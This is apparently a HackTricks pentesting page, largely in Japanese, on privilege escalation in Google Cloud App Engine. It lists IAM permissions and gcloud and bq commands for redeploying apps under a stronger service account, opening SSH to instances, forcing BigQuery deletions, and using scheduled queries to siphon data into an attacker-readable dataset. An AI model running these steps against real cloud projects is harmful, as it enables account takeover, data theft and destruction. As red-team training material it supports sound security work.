GCP - AppEngine Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

App Engine

App Engineの詳細については次を参照してください:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

これらは、gcloud cli を使って App をデプロイするために必要な権限です。おそらく getlist不要 かもしれません。

You can find python code examples in https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

By default, the name of the App service is going to be default, and there can be only 1 instance with the same name.
To change it and create a second App, in app.yaml, change the value of the root key to something like service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

少なくとも10~15分は待ってください。もし動作しない場合は、deploy another of times を実行して数分待ってください。

Note

使用する Service Account を指定することは可能ですが、デフォルトでは App Engine default SA が使用されます。

アプリケーションの URL は次のような形式になります: https://<proj-name>.oa.r.appspot.com/ または https://<service_name>-dot-<proj-name>.oa.r.appspot.com

同等の権限を更新

AppEngine を新規作成する権限はなく、更新する権限だけある場合があります。その場合、現在の App Engine を更新する方法は次のとおりです:

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

もしalready compromised a AppEngineで、権限**appengine.applications.updateと使用するサービスアカウントに対するactAs**を持っている場合、AppEngine が使用するサービスアカウントを次のように変更できます:

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

これらの権限があれば、login via ssh in App Engine instancesflexiblestandard ではない)タイプで可能です。 一部の list および get 権限は、実際には必須ではない場合があります。

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

これはアプリケーションをセットアップする際に google が使用するバックグラウンドの SA を変更するだけだと思います。したがって、これを悪用して service account を steal することはできないと思います。

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

これらの権限の使い方や有用性はよく分かりません(コードを変更すると新しいバージョンが作成されるため、単にコードやそのバージョンのIAMロールを更新できるかは不明ですが、おそらく可能だと思います。もしかするとbucket内のコードを変更することで??)。

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

テーブル、データセット、またはモデルを削除するには:

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Scheduled Queries の悪用

bigquery.datasets.getbigquery.jobs.create、および iam.serviceAccounts.actAs の権限があれば、アイデンティティは dataset のメタデータを照会し、BigQuery ジョブを起動し、より高い権限を持つ Service Account を使ってそれらを実行できます。

この攻撃により、悪意のある Scheduled Queries を用いてクエリを自動化(選択した Service Account の権限で実行)することが可能になります。例えば、これにより機密データが読み取られ、攻撃者がアクセスできる別の table や dataset に書き込まれることで、データを外部に抽出することなく間接的かつ継続的な exfiltration を促進する可能性があります。

攻撃者が目的のクエリを実行するために必要な権限を持つ Service Account を特定したら、その Service Account を使って実行される Scheduled Query 設定を作成し、結果を定期的に任意の dataset に書き込ませることができます。

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

バケットに対する書き込みアクセス

前述のとおり appengine versions は name フォーマットが staging.<project-id>.appspot.com のバケット内にいくつかのデータを生成します。GCP ユーザーはドメイン名 appspot.com を使ってバケットを生成する権限がないため、このバケットを事前に pre-takeover することはできません。

しかし、このバケットに対する読み取り & 書き込みアクセスがあれば、バケットを監視し、変更が行われるたびに可能な限り素早くコードを改変することで、AppEngine version に紐づいた SA に対して権限昇格を行うことが可能です。こうすることで、そのコードから作成されるコンテナは backdoored code を実行します。

詳細と PoC は下記のページの該当情報を参照してください:

GCP - Storage Privesc

Artifact Registry に対する書き込みアクセス

App Engine が Artifact Registry 内に docker images を作成するにも関わらず、サービス内のイメージを変更した場合でも App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、実行されるコードは変わらない ということがテストで確認されました。
バケットの場合と同様に Race Condition attack を行えば実行されるコードを上書きできる可能性がある かもしれませんが、これはテストされていません。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする